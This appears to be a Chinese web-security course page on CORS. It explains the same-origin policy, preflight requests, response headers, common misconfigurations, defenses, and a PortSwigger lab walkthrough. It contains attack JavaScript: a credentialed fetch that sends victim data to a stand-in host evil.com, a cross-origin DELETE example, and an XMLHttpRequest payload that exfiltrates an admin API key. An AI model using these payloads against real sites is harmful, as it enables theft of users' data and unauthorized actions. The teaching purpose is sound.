WEB安全
00-HTTP协议
01-前端基础【HTML】
02-前端基础【CSS】
03-后端基础【PHP速通】
04-后端基础【PHP面向对象】
05-MySQL基础操作
06-前后端联动【代码练习】
07-SQL注入
08-SQL注入 Labs
09-跨站脚本攻击【XSS】
09-XSS Labs
10-CSRF
11-SSRF
12-XML 外部实体注入【XXE】
13-代码执行漏洞
14-命令执行漏洞
15-文件包含漏洞
16-文件上传漏洞
17-反序列化漏洞
18-业务逻辑漏洞
19-未授权访问漏洞集合
20-跨源资源共享【CORS】
21-SSTI模板注入
22-并发漏洞
23-点击劫持【Clickjacking 】
24-请求走私
25-路径遍历
26-访问控制
27-身份验证漏洞
28-WebSocket
29-Web缓存中毒
30-HTTP 主机头攻击
31-信息泄露漏洞
32-原型污染
33-API概述
34-API分类类型
35-API交换格式
36-API身份验证
37-API常见漏洞
38-crAPI靶场
39-JWT
40-DVGA靶场
41-服务器端参数污染
42-API Labs
43-OAuth Labs
44-GraphQL API Labs
45-JWT Labs
46-小程序抓包
47-云存储
48-对象存储OSS
49-存储桶
50-存储桶漏洞
51-STS访问OSS
-
+
20-跨源资源共享【CORS】
浏览
1
## 概述 CORS 全称 Cross-Origin Resource Sharing(跨域资源共享),是浏览器为解决 “跨域请求安全问题” 而制定的一种机制。 它通过服务器返回特定的 HTTP 响应头,允许浏览器放宽 “同源策略” 限制,安全地实现不同域之间的资源访问(如前端 JavaScript 从 A 域请求 B 域的接口数据)。 然而,如果网站的 CORS 策略配置和实施不当,也可能导致跨域攻击,CORS 无法防御跨域攻击,例如跨站请求伪造 (CSRF)。 CORS 的核心是服务器通过响应头明确允许跨域的规则,浏览器根据这些规则判断是否允许前端脚本访问跨域资源。 ## 同源策略的限制 浏览器的同源策略(Same-Origin Policy) 是核心安全机制,规定:非同源的网页脚本(如 JavaScript)不能读写对方的资源。 - 同源定义:两个 URL 的协议、域名、端口必须完全相同(如 https://example.com:443 与 https://api.example.com:443 不同源,因域名不同)。 - 限制场景:若没有同源策略,恶意网站的 JS 可随意请求银行网站的接口(如查询余额),导致敏感数据泄露。 但实际开发中,跨域请求是常见需求(如前端域名 a.com 需要请求后端接口域名 api.b.com 的数据)。CORS 就是为了在安全前提下,让服务器主动声明 “允许哪些域的跨域请求”,从而绕过同源策略限制。 ## CORS 的工作原理 CORS 的核心是服务器通过响应头明确允许跨域的规则,浏览器根据这些规则判断是否允许前端脚本访问跨域资源。 流程可分为两种类型:简单请求和预检请求。 ### **简单请求(无需预检,直接发送)** 满足以下所有条件的请求为 “简单请求”,浏览器直接发送请求,无需提前检查: - 请求方法:仅限于 GET、HEAD、POST; - 请求头:仅包含浏览器默认头或以下字段:Accept、Accept-Language、Content-Language、Content-Type(且值只能是 application/x-www-form-urlencoded、multipart/form-data、text/plain)。 **工作流程**: 1. 前端发送跨域请求(如 http://a.com 的 JS 请求 http://b.com/data),请求头自动携带 Origin: http://a.com(声明来源域); 2. 服务器收到请求后,检查 Origin 是否在允许的范围内,若允许,返回响应时携带 CORS 相关头(如 Access-Control-Allow-Origin: http://a.com); 3. 浏览器收到响应后,验证 Access-Control-Allow-Origin 是否包含请求的 Origin,若通过,则允许前端脚本访问响应数据;否则,拦截数据,报 CORS 错误。 ### **预检请求(Preflight,先检查再发送)** 不满足 “简单请求” 条件的为 “复杂请求”(如使用 PUT/DELETE 方法、自定义请求头 X-Token、Content-Type: application/json 等),浏览器会先发送预检请求(OPTIONS 方法),确认服务器允许后再发送实际请求。 **工作流程**: 浏览器发送预检请求(OPTIONS 方法),携带以下关键头: - Origin: http://a.com(来源域); - Access-Control-Request-Method: PUT(告知服务器实际请求的方法); - Access-Control-Request-Headers: X-Token(告知服务器实际请求的自定义头)。 服务器响应预检请求,返回允许的规则头: - Access-Control-Allow-Origin: http://a.com(允许的域); - Access-Control-Allow-Methods: PUT, GET(允许的方法); - Access-Control-Allow-Headers: X-Token(允许的自定义头); - Access-Control-Max-Age: 86400(预检结果的缓存时间,单位秒,避免重复预检)。 浏览器验证预检响应:若服务器允许的规则包含实际请求的信息,则发送实际请求;否则,拦截并报 CORS 错误。 ## CORS 响应头 服务器通过以下响应头声明跨域规则,是 CORS 机制的核心: | 响应头 | 作用 | 示例 | 安全注意事项 | | -------------------------------- | ------------------------------------------------------------ | -------------------------------------------------- | ------------------------------------------------------------ | | Access-Control-Allow-Origin | 允许跨域请求的来源域(必填) | http://a.com(仅允许 a.com *(允许所有域,不推荐) | 若请求带 credentials(如 Cookie),不可用 *,必须指定具体域。 | | Access-Control-Allow-Methods | 允许的请求方法(预检请求时返回) | GET, POST, PUT | 需包含实际请求使用的方法,避免过度开放(如禁止 DELETE 给非信任域)。 | | Access-Control-Allow-Headers | 允许的自定义请求头(预检请求时返回) | X-Token, Content-Type | 仅列出必要的头,避免开放敏感头(如 Authorization 给不可信域)。 | | Access-Control-Allow-Credentials | 是否允许跨域请求携带 credentials(如 Cookie、HTTP 认证信息) | true(允许)/false(默认) | 设为 true 时,Access-Control-Allow-Origin 必须是具体域(不能是 *)。 | | Access-Control-Expose-Headers | 允许前端 JS 访问的响应头(默认仅能访问 Cache-Control 等少数头) | X-Total-Count | 避免暴露敏感头(如 X-Server-Secret)。 | | Access-Control-Max-Age | 预检请求结果的缓存时间(单位:秒) | 86400(1 天) | 合理设置缓存时间,减少预检请求次数(但需注意规则变更时的生效延迟)。 | ## 安全风险 CORS 本身是安全机制,但配置不当会引入风险。 CORS(跨域资源共享)配置漏洞的本质是服务器对跨域请求的限制过于宽松或逻辑错误,导致攻击者可通过恶意网站绕过浏览器的同源策略,窃取敏感数据或执行非授权操作。 这类漏洞的危害程度与业务场景强相关,尤其在涉及用户隐私、支付信息等敏感数据的系统中风险极高。 ### 错误配置:Access-Control-Allow-Origin: * 与 Credentials: true 共存 > 错误示例: ```http Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` - *表示允许任意域名发起跨域请求; - Credentials: true 允许跨域请求携带用户 Cookie、SessionID 等认证信息; 两者结合违反 CORS 规范(浏览器本应拦截此类响应),这种配置相当于 “向全网开放带用户身份的敏感数据访问权限”,是 CORS 中最严重的配置错误之一。 若服务器错误配置导致这种组合生效,则意味着:任何恶意网站(如evil.com)都可向目标服务器发送跨域请求;请求会自动携带用户的登录 Cookie(因Credentials: true允许);恶意网站的 JS 可直接读取响应中的敏感数据(如用户余额、个人信息)。 > 攻击流程 1. 受害者登录目标网站(如bank.com),浏览器保存登录 Cookie; 2. 攻击者诱导受害者访问恶意网站(evil.com),该网站包含 JS 代码: ```javascript // 向目标网站的敏感接口发送跨域请求,携带受害者Cookie fetch('https://bank.com/api/user/balance', { method: 'GET', credentials: 'include' // 强制携带Cookie }).then(res => res.json()).then(data => { // 将余额数据发送到攻击者服务器 fetch('https://evil.com/log?data=' + JSON.stringify(data)); }); ``` 3. 因目标网站 CORS 配置错误,浏览器允许evil.com的 JS 读取响应,攻击者成功窃取受害者余额。 ### **2. 错误配置:动态反射请求的Origin头(无白名单校验)** > 配置示例(错误,以 Node.js 为例): ```javascript // 危险逻辑:直接将请求的Origin作为允许的域返回 app.use((req, res) => { const origin = req.headers.origin || '*'; res.setHeader('Access-Control-Allow-Origin', origin); // 无校验,直接反射 res.setHeader('Access-Control-Allow-Credentials', 'true'); res.send(userData); // 返回敏感用户数据 }); ``` > 漏洞原理: - 服务器未验证Origin是否可信,直接将请求头中的Origin(如https://evil.com)作为Access-Control-Allow-Origin的值返回; - 等效于 “允许所有域名跨域请求”,但规避了*的限制,可正常结合Credentials: true使用。 > 攻击流程: 1. 攻击者构造Origin: https://evil.com的请求,发送到目标网站(如shop.com的订单接口); 2. 服务器返回Access-Control-Allow-Origin: https://evil.com,允许evil.com跨域; 3. 攻击者在evil.com部署恶意页面,诱导受害者访问,JS 代码请求shop.com/api/orders(携带受害者登录 Cookie); 4. 浏览器验证Origin匹配,允许读取响应,攻击者获取受害者的订单详情。 ### **3. 错误配置:开放敏感 HTTP 方法或请求头** > 配置示例(错误): ```http Access-Control-Allow-Origin: https://untrusted-domain.com Access-Control-Allow-Methods: GET, POST, PUT, DELETE // 包含危险方法 Access-Control-Allow-Headers: Authorization, X-Token // 包含认证头 ``` > 漏洞原理: 向不可信域名开放PUT/DELETE等危险方法,允许其修改 / 删除数据; 开放Authorization、X-Token等敏感头,攻击者可利用这些头执行授权操作。 > 攻击流程: 目标网站(cms.com)允许untrusted-domain.com跨域,并开放DELETE方法; 攻击者在untrusted-domain.com构造页面,通过 JS 发送请求: ```javascript // 删除受害者的文章(假设已知文章ID) fetch('https://cms.com/api/articles/123', { method: 'DELETE', headers: { 'X-Token': '受害者的Token' }, // 若Token可通过其他方式获取 credentials: 'include' }); ``` 受害者访问该页面,JS 执行DELETE请求,导致其文章被删除。 ## 典型危害 | 危害类型 | 具体表现 | 影响场景 | | ------------ | ------------------------------------------------------------ | ----------------------- | | 敏感数据泄露 | 攻击者获取用户的个人信息、账户余额、订单记录、认证 Token 等。 | 电商、银行、社交平台 | | 非授权操作 | 篡改用户数据(如修改收货地址)、删除内容(如删除评论)、执行支付 / 转账。 | 支付系统、内容管理系统 | | 权限边界突破 | 利用可信域的 CORS 权限,结合 XSS 等漏洞,扩大攻击范围(如子域攻击主域)。 | 多域名 / 子域架构的系统 | | 业务逻辑绕过 | 绕过跨域限制,执行本应禁止的操作(如跨域提交表单、调用内部 API)。 | 所有涉及跨域交互的业务 | ## 防御 CORS 配置漏洞的核心措施 1. 严格限制Access-Control-Allow-Origin - 禁用*:绝不为包含敏感数据的接口设置Access-Control-Allow-Origin: *; - 白名单机制:仅允许明确可信的域名(如https://app.example.com) - 禁止动态反射:不直接将请求的Origin作为响应值返回,必须通过白名单校验。 2. 谨慎处理Credentials - 仅在业务必需时启用Access-Control-Allow-Credentials: true; - 启用时,Access-Control-Allow-Origin必须是具体可信域名(不能是*); - 敏感操作(如转账)避免依赖 Cookie 认证,改用短期 Token(如 JWT),且 Token 不通过跨域请求自动携带。 3. 限制允许的方法和请求头 - Access-Control-Allow-Methods仅包含业务必需的方法(如GET、POST),禁止向不可信域开放PUT、DELETE; - Access-Control-Allow-Headers仅列出必要的头(如Content-Type),不开放Authorization、X-Token等敏感头给非信任域。 4. 正确处理预检请求(OPTIONS) - 确保OPTIONS请求返回完整的 CORS 配置(与实际请求的规则一致); - 合理设置Access-Control-Max-Age(如 3600 秒,1 小时),避免过长缓存导致规则更新延迟。 5. 结合其他安全机制 - 跨域请求增加CSRF Token验证,即使 CORS 配置宽松,也需验证 Token; - 敏感操作(如支付、删除)强制二次验证(如短信验证码); - 用 WAF 监控异常跨域请求(如来自陌生Origin的高频请求)。 ## 总结 CORS 配置漏洞的核心是 “过度信任不可控的域名”,其利用门槛低(仅需诱导用户访问恶意页面),危害却可能直达业务核心(如数据泄露、财产损失)。 防御的关键是始终以 “最小权限” 为原则,通过白名单严格限制跨域范围,谨慎开放敏感权限,同时结合其他安全机制形成防护闭环。 ## 实验 靶机:https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack 已知:该网站的 CORS 配置不安全,因为它信任所有来源。 任务:编写JavaScript代码,使用 CORS 检索管理员的 API 密钥,并将代码上传到你的漏洞利用服务器。成功提交管理员的 API 密钥后,本实验结束。 登录凭证:wiener:peter。 1、使用凭证登录靶机。  登录之后有自己账户的API Key。 2、在burp的请求包历史中,发现了响应api key的数据包。  3、发送到repeater模块,观察响应包。  ```txt Access-Control-Allow-Credentials: true 用于告知浏览器:服务器允许跨域请求携带 “凭证信息”(如 Cookie、HTTP 认证信息、TLS 客户端证书等)。 ``` 4、添加任意一个源再观察响应包。 ```txt Origin: https://example.com ```  5、使用官网的恶意JavaScript代码 ```javascript <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` ```javascript <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','0afa0029036433c180286c94006c001d.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> ``` 6、点击靶机上方的漏洞利用服务器,将payload添加到body中,再点击查看漏洞利用。    7、返回漏洞利用服务器,点击【Deliverexploit tovictim】,向受害者提供漏洞。 
毛林
2026年11月15日 18:27
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~